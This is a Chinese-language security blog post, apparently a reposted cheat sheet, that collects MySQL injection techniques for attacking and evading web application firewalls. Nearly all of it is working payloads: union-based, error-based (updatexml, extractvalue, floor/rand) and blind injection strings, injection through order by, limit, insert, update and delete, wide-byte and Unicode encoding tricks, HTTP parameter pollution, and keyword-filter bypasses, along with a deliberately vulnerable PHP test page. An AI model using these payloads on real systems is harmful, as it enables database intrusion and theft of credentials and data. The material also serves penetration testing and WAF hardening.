针对MySQLi的总结 | 方便自查建议收藏

  • A+
所属分类:安全文章

针对MySQLi的总结 | 方便自查建议收藏

对于SQLi的一些总结,主要也是为了方便自查而整理,建议收藏。


0x00 Appetizer(开胃菜)

1. 注释

#---- ---+///**/内联注释:/!**/;%00(亲测很好用)


2. 科学计数法

select id,title,links from freebuf where id=0e1union SELECT user,authentication_string,1e1from mysql.`user`;


针对MySQLi的总结 | 方便自查建议收藏


3. 空白字符

MySQL5的空白字符是:

%09 %0A %0B %0C %0D %A0 %20


4. 特殊符号


4.1 +

select id,title from freebuf where id=8e0union (SELECT+1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));

针对MySQLi的总结 | 方便自查建议收藏


4.2 -

select id,title from freebuf where id=8e0union (SELECT-1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));

针对MySQLi的总结 | 方便自查建议收藏


4.3 反引号

select id,title from freebuf where id=8e0union (SELECT 1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));

针对MySQLi的总结 | 方便自查建议收藏


4.4 ~

select id,title from freebuf where id=8e0union (SELECT~1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));

针对MySQLi的总结 | 方便自查建议收藏


4.5 !

select id,title from freebuf where id=8e0union (SELECT!1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));

针对MySQLi的总结 | 方便自查建议收藏


4.6 @

select id,title from freebuf where id=8e0union ([email protected],(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));

针对MySQLi的总结 | 方便自查建议收藏


4.7 .1

select/**/title/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;


针对MySQLi的总结 | 方便自查建议收藏


4.8 ' "

select/**/id,title,links/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT'1',"2",/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;

select/**/id,title,links/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT'1',"2",/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;

针对MySQLi的总结 | 方便自查建议收藏


4.9 ()

select id,title,links from freebuf where id=.1union(SELECT(1),(2),(table_name) from information_schema.tables where table_schema=database() LIMIT 0,1);

针对MySQLi的总结 | 方便自查建议收藏


4.10 {}

在说道这个之前,首先说一下数据库语法时用到的各类括号分别代表什么

  • <>:用于分隔字符串,字符串为语法元素的名称,SQL语言的非终止符

  • ::=:定义操作符。用在生成规则中,分隔规则定义的元素和规则定义。被定义的元素位于操作符的左边,规定定义位于操作符的右边。

  • []:方括号表示规则中的可选元素。方括号中的规则部分可以明确指定也可以省略。

  • {}:花括号聚集规则中的元素。在花括号中的规则部分必须明确指定。

  • |:替换操作符。该竖线表明竖线之后的规则部分对于竖线之前的部分是可替换的。如果竖线出现的位置不在花括号或方括号内,那么它指定对于该规则定义的元素的一个完整替换项。如果竖线出现的位置在花括号或方括号内,那么它指定花括号对或方括号对最里面内容的替换项。

  • ...:省略号表明在规则中省略号应用的元素可能被重复多次。如果省略号紧跟在闭花括号”}”之后,那么它应用于闭花括号和开花括号”{“之间的规则部分。如果省略号出现在其他任何元素的后面,那么它只应用于该元素。

  • !! --

select title from freebuf where id=.1union(select{s table_name}from{f information_schema.tables}where{w table_schema=database()});

针对MySQLi的总结 | 方便自查建议收藏


5. SQLi能用的函数分类

5.1 字符串截取函数

mid(version(),1,1)substr(version,1,1)substring(version(),1,1)lpad(version(),1,1)rpad(version(),1,1)left(version(),1)reverse(right(reverse(version()),1))

5.2 字符串连接函数

concat(version(),'|','user()')  # 拼接字符串时只要有一个为null,则返回nullconcat_ws('|',1,2,3)            # 不会因为出现null而返回null,会返回其他正常的结果

5.3 字符串转换函数

char(49)hex('a')unhex(61)


5.4 报错注入常用函数

1. floor(rand()*2) + group by

select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))name from information_schema.tables group by name;

针对MySQLi的总结 | 方便自查建议收藏

原理:floor(rand(0)*2)被计算多次导致。

2. updatexml()

select 1,2,3 and updatexml(1,concat(0x7e,user(),0x7e),1);

针对MySQLi的总结 | 方便自查建议收藏

原理:updatexml()第二个参数应为xml语句。

限制:最多32字符

3. extractvalue()

select 1,2,3 and extractvalue(1,concat(0x7e,user(),0x7e));

针对MySQLi的总结 | 方便自查建议收藏

原理:extractvalue()第二个参数应为xml语句。

限制:最多32字符

经过测试,在mysql 5.7的版本下,exp()geometrycollection()multipoint()polygon()multipolygon()linestring()multilinestring()无法使用。

mysql 5.5版本下是可以使用上面几个函数进行报错注入的。

原理:BIGINT整型溢出


5.5 时间盲注常用函数

1. benchmark()

select * from freebuf where id=1 and (if(LEFT(VERSION(),1)=5, BENCHMARK(5000000,SHA1('1')),1));

针对MySQLi的总结 | 方便自查建议收藏

原理:以上面的sql语句为例,BENCHMARK()将执行SHA1('1')这个工作5000000次,并统计其所花费的时间。

2. sleep()

select * from freebuf where id=1 and if(substr((select table_name from information_schema.tables where table_schema=database()),1,1)='A',1,sleep(10));

5.6 布尔盲注常用函数

字符串截取函数+ascii()配合limit完成布尔盲注。

针对MySQLi的总结 | 方便自查建议收藏


0x02 Soup

总结了一下绕过基础过滤的方式。这边不说复写和大小写绕过了,因为大家都知道。这边丹丹我写个基础的测试脚本,接下来的测试都是基于这个脚本而添加的相应的规则:

<?php   error_reporting(0);   $db = mysqli_connect('localhost', 'root', 'root');   mysqli_select_db($db, 'SecSpider');   $uid = strtolower($_GET['uid']);   $id = waf($uid);   $query = "select id, title, tag from `freebuf` where id=".$id.";";   echo "sql: ".$query."<br>";   $result = mysqli_query($db, $query);   $row = mysqli_fetch_array($result);   var_dump($row);
function waf($id){ $id = str_replace(' ', '',$id); return $id; }

2.1 过滤空格

可以用下面几种方式绕过:

/**/                            可代替空格/!*select all*/                 可代替空格,且能执行中间的sql语句()                              可代替空格%09 %0A %0B %0C %0D %A0 %20     可代替空格select~1或select+1或select-1select`table_name`from          可以不使用空格+                               可代替空格{}                              在遇到select from时可以利用括号包裹绕过针对查询字段的空格过滤

给个实例:

http://127.0.0.1:9999/php.php?uid=.1union(select~1,+1,(select`table_name`from/*!12345information_schema.tables%0awhere/**/table_schema=database()*/%0dlimit%0d%0a0,1))

针对MySQLi的总结 | 方便自查建议收藏

关于括号绕过的示例:

http://127.0.0.1:9999/php.php?uid=.1union(select-1,+1,{x+table_name}from{x(information_schema.tables)}where{x(table_schema=database())})

针对MySQLi的总结 | 方便自查建议收藏

2.2 过滤了逗号(默认加上了过滤空格)

在使用union的时候是比较害怕逗号被过滤的,可以用join()绕:

http://127.0.0.1:9999/php.php?uid=.1union(select+*from((select+1)a%0ajoin(select+2)b%0ajoin(select`table_name`from/**/information_schema.tables/**/where%0dtable_schema=database())c))

针对MySQLi的总结 | 方便自查建议收藏

注意这么几个细节:

  • 不能这么使用/!*join*/

  • limit 0,1中的逗号可以使用limit 1 offset 0这样的格式来代替

http://127.0.0.1:9999/php.php?uid=.1union(select+*from((select+1)a%0ajoin(select+2)b%0ajoin(select`column_name`from/**/information_schema.columns/**/where%0dtable_name=%27freebuf%27/**/limit/**/1/**/offset/**/3)c))
针对MySQLi的总结 | 方便自查建议收藏

2.3 编码绕过

说了上面两个较为常规的姿势,下面总结一下使用编码绕过的方式:

2.3.1 URL编码

一般不会成功…,这个时候不妨试一试两次编码绕过。

空格 => %20单引号 => %27左括号 => %28右括号 => %29百分号 => %25

2.3.2 十六进制编码

page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…     # 对单个字符编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))     #对字符串编码

2.3.3 Unicode编码

单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

关于应用的话个人认为有两种:

  • 宽字节注入

    关于宽字节注入,简单来说就是当单引号(')被转义为'时可以利用%df%27进行绕过。宽字节注入产生的原因是因为GBK编码为多字节编码,会认为两个字节代表一个汉字,举个例子,比如我传入的字段是%df%27,正常解码后为:


而有趣的是在代码层(GBK编码)对`%df%27`的解析实际为`%df%5c%27`:�'从而吃掉了``绕过了对`'`的转义

  • MySQL字符编码绕过

    MySQL的字符串编码主要是由于MySQL字段的字符集和PHP mysqli客户端设置的字符集不同而导致的。

    MySQL字段的默认字符集为latin1,在设置客户端字符集为utf8后,服务端的相关字符集仍为latin1,所以PHP将数据存入数据库实际上完成了如下的字符编码转换:

utf8 --> utf8 --> latin1

也就是会出现如下的情况:

SELECT 'Ä'='A'; # 结果为1

0x03 Main Course

知道了上面的基础绕过姿势,下面进入正餐,测试脚本和0x02相同,只是往上添加规则罢了

测试MySQL版本为5.7.23


3.1 各种关键字的绕过

3.1.1 绕and,or,union,where,limit,group by,hex,substr

绕and和or

and => &&or => ||

绕union
union => 1 ||

select id,title from freebuf where id=1 || (select substr((select table_name from information_schema.tables where table_schema=database()),1,1))='f' limit 0,1;


针对MySQLi的总结 | 方便自查建议收藏

绕where
where => case when then else end

select id,title from freebuf where id=1 || (select substr((select (case table_schema WHEN 'SecSpider' then table_name else 'zzzzzzzzzz' END) as c  from information_schema.tables group by c limit 1),1,1))='f' limit 0,1;

针对MySQLi的总结 | 方便自查建议收藏

绕limit
limit => group by c having c=0

select id,title from freebuf where id=1 || (select((select substr((select (case table_schema when 'SecSpider' then table_name else '1' end) as c  from information_schema.tables group by c having c=0),1,1))='f') as d group by d having d=1);


如果表名第一个字符为f,则返回正常数据,如果不为f则返回空。

针对MySQLi的总结 | 方便自查建议收藏

绕group by
group by => group_concat()

select id,title from freebuf where id=1 || (select substr((select replace(group_concat(distinct(case table_schema when 'SecSpider' then table_name else '' end)), ",", "") from information_schema.tables),1,1)='f');

同上,如果表名第一个字符为f,则返回正常数据,如果不为f则返回为空。

针对MySQLi的总结 | 方便自查建议收藏

绕select
其实是用了种取巧的方式即:
select => into outfile
但实际上是用处不大的,这边就不做演示了

绕hex
hex => lower(conv([10-36],10,36))

针对MySQLi的总结 | 方便自查建议收藏

绕substr或substring()
substr => mid() 或 strcmp(left())

mid()select (select mid(table_name,1,1) from information_schema.tables where table_schema=database() limit 1)=lower(conv(14,10,36));
strcmp(left())select strcmp(left(table_name,1),'f'from information_schema.tables where table_schema=database() limit 1;

针对MySQLi的总结 | 方便自查建议收藏

3.1.2 绕过严格的字符或数字限制

具体的来说,当waf做了严格的字符限制后,可能某些字符我们是无法使用的,这个时候可以用下面这张表来绕过:

针对MySQLi的总结 | 方便自查建议收藏

小写字符的释放可以使用lower(conv([10-36],10,36))


3.1.3 绕过information.schema

在MySQL5.6及以上的版本,可以用mysql.innodb_table_statsmysql.innodb._index_stats来代替。

select title from freebuf where id=1 union select table_name from mysql.innodb_table_stats where database_name=database() limit 0,1;
select title from freebuf where id=1 union select table_name from mysql.innodb_index_stats where database_name=database() limit 0,1;

针对MySQLi的总结 | 方便自查建议收藏


3.2 非常规注入方式

3.2.1 order by注入

为什么要把order by拉出来单独说呢,因为order by后面不能使用union

主要是用盲注,有两种姿势,下面用布尔盲注来演示。

  1. 使用if来进行盲注:

    select title from freebuf order by if((substr(user(),1,1)='a'),1,(select 1 from information_schema.tables));

这边要注意一下,在报错回显时一定要选择会产生错误的回显,而不要选择`0x00`,在`5.7.23`版本下`0x00`也会返回所有数据及正常情况。

针对MySQLi的总结 | 方便自查建议收藏


  1. 使用case when then else end来进行盲注:

    select title from freebuf order by (select case when(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='f') then 1 else 1*(select 1 from information_schema.tables)end)=1 limit 0,1;

针对MySQLi的总结 | 方便自查建议收藏

    3.使用procedure进行报错注入或盲注:

limit后的procedure在5.7.18下已经默认关闭了,在8.0版本下已经被移除。

报错注入:

SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

时间盲注:SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);
  1. 使用rand()进行盲注

    这个不细说了,和普通的盲注一样。

3.2.2 limit注入

重要的话再说一遍:

limit后的procedure在5.7.18下已经默认关闭了,在8.0版本下已经被移除。

报错注入:

SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

时间盲注:

SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);

3.2.3 insert、update、delete注入

这边就拿报错注入来说了,其实改一改就是盲注。

  • insert

    insert注入的位置在value处,可以配合常规的报错语句来完成报错注入,下面举个例子。

    insert into freebuf (id, title, links, tag, article_id, catch_date, publish_date, come_from) values (2,'1' +  updatexml(0,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0) or '','www.baidu.com','test1','2','1','1','baidu');

针对MySQLi的总结 | 方便自查建议收藏

这边要注意一下在`value`中的报错语句要使用的逻辑,为了使我们的报错语句一定执行,一定要构造逻辑使得报错函数可以执行。

  • update

    update注入位置在set后。

    update freebuf set id=3 and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) and title='123' and links='123' and tag='1' and article_id='123' and catch_date='1' and publish_date='3' and come_from='1' where id=2;

针对MySQLi的总结 | 方便自查建议收藏

  • delete

    delete注入的位置在where后。

    DELETE from freebuf where id=2 or updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '';

针对MySQLi的总结 | 方便自查建议收藏

3.3 畸形请求

php+Apache 特性:

waf通常会对请求进行严格的协议判断,比如GET、POST等,但是apache解析协议时却没有那么严格,所以在发包的时候修改为一个畸形的请求也可能绕过waf。

针对MySQLi的总结 | 方便自查建议收藏

3.4 HPP——通用特性

HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时,根据容器不同会得到不同的结果。假设提交的参数即为:

1
id=1&id=2&id=3
  • Asp.net + iis:id=1,2,3

  • Asp + iis:id=1,2,3

  • Php + apache:id=3

3.5 Trick

3.5.1 利用name_const()获取MySQL版本信息

在5.7.23版本中并不能使用name_const()来获取更多的信息,但是仍可以用它来获取数据库版本信息:

1
DELETE FROM freebuf WHERE id=2 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';

3.5.2 limit下的字段数的判断

where条件下的字段数可以用order by判断,而limit后可以利用1, into @,@(@为字段数)判断字段数。@为mysql临时变量,

针对MySQLi的总结 | 方便自查建议收藏

这里要记住要赋予用户变量变量名,不然会出现User variable name '' is illegal错误。

3.5.3 MySQL注入可报错时绕过information_schema等关键字的过滤(报错)

首先,如果MySQL注入是报错注入,且waf拦截了information_schema、columns、tables、database、schema等关键字或函数时,我们还可以这样玩:

select i.4 from (select * from (select 1)a, (select 2)b, (select 3)c, (select 4)d, (select 5)e, (select 6)f, (select 7)g, (select 8)h union select * from freebuf)i;

这里是因为我freebuf表有8个字段,因为利用了union select所以要构造8个字段。

那如果过滤了union呢?

  1. polgon()爆表名和库名

    select * from freebuf where id=1 and polygon(id);

针对MySQLi的总结 | 方便自查建议收藏

原理:`Polygon`从多个`LineString`或`WKB LineString`参数构造一个值 。如果任何参数不表示`LinearRing`(也就是说,不是一个封闭和简单的`LineString`),返回值就是NULL。
如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。

  1. join重复查询爆字段

    爆第一个字段

    select * from freebuf where id=1 and (select * from (select * from freebuf as a join freebuf as b)as c);

针对MySQLi的总结 | 方便自查建议收藏


爆后面的字段
select * from freebuf where id=1 and (select * from (select * from freebuf as a join freebuf as b using(id))as c);


3.5.4 八字节注入

这种注入的原理是在MySQL中字符串实际上作为八字节的DOUBLE类型来处理。

具体的举一个例子:

针对MySQLi的总结 | 方便自查建议收藏

如果需要获取的数据大于八字节,可以使用substr()来将数据分成分片:

select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);


针对MySQLi的总结 | 方便自查建议收藏

也就说user()最多有16个字符,那么现在解码就能看到我们需要获得的数据:

针对MySQLi的总结 | 方便自查建议收藏

3.5.5 局部变量的使用

为什么要使用局部变量呢?其实使用局部变量就是为了更改SQL语句的逻辑,比如针对于语义的waf过滤了union select from,那么就可以使用局部变量将语义更改为select from union,从而绕过逻辑判断。

举个例子:

过滤了如下的逻辑:

select title from freebuf where id=-1 union select table_name from information_schema.tables where table_schema=database() limit 0,1;

可以看到这里的逻辑为:

union select from

利用局部变量可以更改这样的逻辑:

select title from freebuf where id=1|@payload:=(select table_name from information_schema.tables where table_schema=database() limit 0,1) union select @payload;

这样的逻辑为:

select from union

而且结果相同:

针对MySQLi的总结 | 方便自查建议收藏

3.5.6 emoji

这一点不多说,因为我自己没搞清楚,推荐从容师傅的文章


0x04 Desserts

这里不说具体案例,只说一说思路。


4.1 其他的绕过思路


MySQL是满足图灵完备的,也就是说只要能找到具备循环和判断的,且未被过滤的函数,理论上是可以完成所有正常功能的。并且在不限制字段的情况下,是可以利用可用函数进行编程来完成你想要的自定义查询的。


4.2 逻辑很重要

测waf得时候可以首先想一下waf的判别逻辑,最常见的测试为以下三种逻辑的测试:

union+select
select+from
union+from

利用前文的局部变量来更改逻辑,说不定会有更好的效果。在了解了过滤逻辑的情况下,绕过剩下的过滤就好说多了。

4.3 见招拆招

%23%0a被过滤了,那么%2d%2d%0a是否会被过滤呢?

过滤了union、from,那么1e1union是否被过滤了?.1from是否被过滤了呢?

下面说一个分析场景:

union+select拦截select+from拦截union+from不拦截


可以看到关键点在于select

那么现在想一想下面的问题:

union+select过滤了,那么union/*!50000%0aselect%0aall*/呢?
如果select被识别了,那么select allselect distinctselect distinctrow呢?
如果union/*!50000%0aselect%0aall*/被过滤了,那fuzz一下50000这个五位数呢?


你看可以从这一点看到这么多,再结合前文说的各种方法,不愁没办法。细心是最重要的。

4.4 非惯性思维

  • waf在检测时,对不同的访问方式利用不同的规则进行检测,而这就有可能钻空子。

  • 对waf进行长度检测,过长的字符串可能导致waf跳过识别,也有可能直接导致服务器宕机。

0x05 Coffee Or Tea

总结了这么多,也算是把各家的姿势还有自己的一点认识写完了(其实大部分还是学习各位师傅的姿势)。


参考文章:

https://xz.aliyun.com/t/368https://www.leavesongs.com/PENETRATION/mysql-charset-trick.htmlhttps://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.htmlhttp://blog.51cto.com/wt7315/1891458https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-SQL-Injection-Challenge–Lessons-Learned/




往期精彩


登陆页面的检测及渗透

渗透实战篇(一)

渗透测试信息收集的方法

常见Web中间件漏洞利用及修复方法

内网渗透 | 流量转发场景测试

Waf从入门到Bypass

实战渗透-看我如何拿下学校的大屏幕

技术篇:bulldog水平垂直越权+命令执行+提权

渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成


针对MySQLi的总结 | 方便自查建议收藏

感兴趣的可以点个关注!!!

针对MySQLi的总结 | 方便自查建议收藏

关注「安全先师」
把握前沿安全脉搏



发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: